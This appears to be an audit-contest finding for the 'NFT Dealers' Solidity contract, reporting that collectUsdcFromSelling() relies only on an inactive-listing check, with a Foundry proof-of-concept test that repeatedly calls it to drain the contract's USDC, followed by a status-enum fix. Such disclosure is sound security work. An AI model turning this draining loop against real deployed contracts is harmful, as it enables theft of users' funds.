NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

NFT Dealers Can Be Drained

Author Revealed upon completion

Root + Impact

Description

NFTDeal.sol currently doesn't have the ability to differentiate between SOLD or CANCELED listings. The collectUsdcFromSelling() method simply relies on checking !listing.isActive to decide whether sellers are entitled for withdrawing payment from NFT sales.

Risk

Likelihood:

  • Sellers may simply cancel an active listing to pass the !listing.isActive check.

Impact:

  • As a result, the seller could just call the collectUsdcFromSelling() method as much as it could to drain the contract's USDC balance.

Proof of Concept

function testDrainContract() public revealed {
// contract has made a lot of money from past sales
usdc.mint(address(nftDealers), 1_000_000e6);
uint256 tokenId = 1;
uint32 nftPrice = 1000e6;
uint256 fees = nftDealers.calculateFees(nftPrice);
​
// userWithCash mints and lists an NFT
uint256 balanceBeforeMinting = usdc.balanceOf(userWithCash);
mintAndListNFTForTesting(tokenId, nftPrice);
uint256 balanceAfterMinting = usdc.balanceOf(userWithCash);
​
// userWithCash should have paid the collateral for minting
assertEq(balanceBeforeMinting - balanceAfterMinting, nftDealers.lockAmount());
uint256 newContractBalance = 1_000_000e6 + nftDealers.lockAmount();
assertEq(usdc.balanceOf(address(nftDealers)), newContractBalance);
​
// userWithEvenMoreCash buys the NFT
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(1);
vm.stopBroadcast();
​
newContractBalance = newContractBalance + nftPrice;
assertEq(usdc.balanceOf(address(nftDealers)), newContractBalance);
​
// userWithCash iteratively drains the contract's USDC balance.
// with each iterations withdraw the amount that they are "eligible" for
uint256 minToDrain = nftPrice + nftDealers.calculateFees(nftPrice);
while (usdc.balanceOf(address(nftDealers)) >= minToDrain) {
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
}
​
// userWithCash would've ended up with more USDC than they started with, draining the contract of USDC
assertGt(usdc.balanceOf(userWithCash), balanceBeforeMinting);
}

Recommended Mitigation

Replace listing.isActive field with listing.status enum.

enum ListingStatus {
UNLISTED,
ACTIVE,
SOLD
}
​
struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
ListingStatus status; // UNLISTED by default
}
​

ListingStatus State Transitions:

ListingStatus is at UNLISTED by default.

  1. list(): UNLISTED -> ACTIVE

  2. buy(): ACTIVE -> SOLD (must check listing.status == ListingStatus.ACTIVE)

  3. cancelListing(): ACTIVE -> UNLISTED

collectUsdcFromSelling() must check listing.status == ListingStatus.SOLD. At the end of this method, it must also set both collateralForMinting and listing.price to 0. Or, simply delete s_listings[_listingId].

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!